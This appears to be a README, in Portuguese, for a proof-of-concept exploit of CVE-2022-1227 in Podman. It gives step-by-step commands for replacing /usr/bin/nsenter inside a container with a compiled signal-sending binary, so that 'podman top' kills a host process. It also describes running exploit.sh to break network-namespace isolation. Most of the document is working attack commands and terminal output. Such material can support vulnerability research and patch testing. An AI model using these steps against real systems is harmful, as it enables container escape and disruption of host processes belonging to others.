
Um script para explorar CVE-2022-1227
Um script para explorar o CVE-2022-1227.
20.10 é recomendado.4.0.0; 3.4.4 é recomendado.TODO: adicionar qual é o princípio desta vulnerabilidade
Siga as instruções no documento oficial: https://podman.io/getting-started/installation#installing-on-linux
Para Ubuntu 20.10, o comando de instalação deve ser:
sudo apt-get install podman=3.4.4+ds1-1ubuntu1
Nesta seção, tentamos um PoC simples para quebrar a barreira do PID namespace e kill um processo no host.
Aqui estão os passos:
Execute um contêiner com o seguinte comando: podman run --userns=keep-id --rm -d ubuntu:latest sleep infinity
Execute keep em ./exp/bin e obtenha o PID em que está rodando. Normalmente ele exibirá seu PID no terminal. Como o binário está configurado para dormir por 600 segundos, talvez você precise ser rápido para concluir os passos seguintes.
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./exp/bin/keep
My process ID is: 7719
Put this number to `PID` in the sendsig.c and compile!
Edite o código-fonte em ./exp/src/sendsig.c e preencha o PID obtido no passo anterior na variável pid.
int pid = OLD_VAL;
para
int pid = 7719;
Coloque o binário compilado dentro do podman: podman cp ./exp/bin/sendsig $container_name :/usr/bin/nsenter
Nesta seção, usamos sockets para realizar a comunicação socket entre processos do cliente no contêiner e do servidor no host, o que geralmente é impossível quando o mecanismo de isolamento está completo. Usamos esta vulnerabilidade para romper o isolamento do namespace de rede para realizar este exploit.
Primeiro, entre no diretório com cd ./exp;
Simplesmente executando ./exploit.sh, tudo será feito automaticamente; se tudo correr bem, o servidor exibirá:
Hello from the container!
Isso significa que atravessamos o namespace de rede e escapamos.
Execute podman top para acionar a vulnerabilidade com: podman top -l
Se tudo correr bem, o processo em execução keep será morto imediatamente. Isso é incomum, pois normalmente processos dentro do contêiner não podem enviar sinais para processos no host devido ao isolamento do namespace PID.
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./keep
My process ID is: 7719
Killed